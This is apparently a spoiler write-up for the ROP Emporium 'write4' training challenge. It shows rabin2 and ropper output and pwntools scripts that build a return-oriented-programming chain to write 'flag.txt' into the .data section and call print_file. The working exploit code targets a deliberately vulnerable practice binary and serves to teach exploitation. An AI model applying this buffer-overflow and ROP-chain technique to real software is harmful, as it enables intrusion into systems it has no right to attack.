ROP Emporium Pt. 4: write4

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing ROP Emporium is a collection of challenges designed to teach return-oriented programming (ROP) techniques by slowly introducing new concepts and increasing difficulty. If you're looking for a spoiler-free guide, check out the one included on their website. To solve this challenge we need to pass the location of our flag.txt to the print_file() function as an argument. We can start by looking at our functions. rabin2 ──────────────────────────────────────────────────── $ rabin2 -i ./write4 [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x00400500 GLOBAL FUNC pwnme 2 ---------- GLOBAL FUNC __libc_start_main 3 ---------- WEAK NOTYPE __gmon_start__ 4 0x00400510 GLOBAL FUNC print_file ──────────────────────────────────────────────────── We're going to want to pass our argument to %rdi, so we can also look at gadgets with Ropper or something similar. ropper ─────────────────────────────────── 0x0000000000400693: pop rdi; ret; ─────────────────────────────────── We can try writing a payload using our same methods as before. exploit.py ──────────────────────────────────────────────────────────────────── from pwn import * e = ELF('write4') p = process(e.path) context(arch='amd64', os='linux', endian='little') payload = b'A' * 40 + p64(0x400693) + b"flag.txt" + p64(0x400510) p.sendline(payload) log.info(p.clean()) ─────────────────────────────────────────────────────────────────── And, it does not work. Reading through the challenge hint will tell us that we need to write our string into memory somehow. So we'll look for code to do that. ropper ──────────────────────────────────────────────────── 0x0000000000400628: mov qword ptr [r14], r15; ret; ──────────────────────────────────────────────────── This gadget should write what's in r15 to the location of r14. So we can make r15 our "flag.txt" string and r14 a read-write section of memory. We'll need another to set r14 and r15. ropper ──────────────────────────────────────────── 0x0000000000400690: pop r14; pop r15; ret; ──────────────────────────────────────────── We can then use radare to list out read-write sections of memory to write our string into. Anything read-write with enough space should work. rabin2 ────────────────────────────────────────────────────────────────────── $ rabin2 -S ./write4 | grep rw 18 0x00000df0 0x8 0x00600df0 0x8 -rw- INIT_ARRAY .init_array 19 0x00000df8 0x8 0x00600df8 0x8 -rw- FINI_ARRAY .fini_array 20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- DYNAMIC .dynamic 21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- PROGBITS .got 22 0x00001000 0x28 0x00601000 0x28 -rw- PROGBITS .got.plt 23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data 24 0x00001038 0x0 0x00601038 0x8 -rw- NOBITS .bss ────────────────────────────────────────────────────────────────────── Now we have all of the pieces to put together our exploit. exploit.py ──────────────────────────────────────────────────── from pwn import * e = ELF('write4') p = process(e.path) context(arch='amd64', os='linux', endian='little') payload = b'A' * 40 payload += p64(0x400690) # pop r14 pop r15 payload += p64(0x601028) #.data payload += b"flag.txt" payload += p64(0x400628) # mov qword payload += p64(0x400693) # pop rdi payload += p64(0x601028) payload += p64(0x400510) # print_file print(payload) p.sendline(payload) log.info(p.clean()) ──────────────────────────────────────────────────── See part 5 for more. // END //